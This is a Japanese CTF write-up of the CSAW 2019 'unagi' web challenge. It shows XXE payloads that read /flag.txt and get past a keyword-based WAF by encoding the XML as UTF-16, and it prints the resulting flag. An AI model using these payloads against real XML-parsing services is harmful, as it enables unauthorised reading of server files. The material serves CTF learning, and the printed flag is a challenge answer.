CSAW CTF 2019 Qualification Writeup - unagi (web 200)

登録されたユーザーの一覧とユーザーの追加ができるページが与えられる。また、Aboutを読むとflagは/flag.txtに保存されていることがわかる。

f:id:iso0:20190916163558p:plainf:id:iso0:20190916163608p:plainf:id:iso0:20190916163616p:plain

ユーザーの追加はXMLをアップロードすることにより行うようで、以下のようなサンプルのXMLも与えられる。このパターンはXXEで解く以外に考えられないと言っても過言ではないレベル。

<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>Alice</name>
        <email>alice@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
</users>

そこで適当にググって出てきたXXEのサンプルをアップロードしてみると次のエラーメッセージが表示された。

WAF blocked uploaded file. Please try again

どうやらENTITY, SYSTEMfileがファイルに含まれているとブロックされるようである。これをバイパスするためにUTF-16エンコードした次のようなXMLを送信してみる。

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE name [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>&test;</name>
        <email>alice@fakesite.com</email>  
        <group>CSAW2019</group>
    </user>
</users>

すると次のようなレスポンスが返ってきた。

f:id:iso0:20190916164917p:plain

XXE自体は成功しているが、どうやら文字長制限でflagまで見えていないっぽい。EmailやGroupに出力しても同様の結果となった。XXEを使うとファイルを外部に送信することもできるので、それが解法だと確信してflag.txtを外部に送信しようと頑張ったがなかなかできなかった。

ふとユーザー一覧ページを見るとIntroというXMLに含まれていない項目の存在に気づいた。試しにIntroにflagを出力させようと以下のXMLを送信してみた。

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE intro [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<users>
    <user>
        <intro>&test;</intro>
    </user>
</users>

すると以下のような応答が返ってきた。結局これが想定解っぽい。

Intro: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

XXEでファイルを外部送信しようとするのに結構な時間を費やしてしまった。なんでそんな意地悪するの…

flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}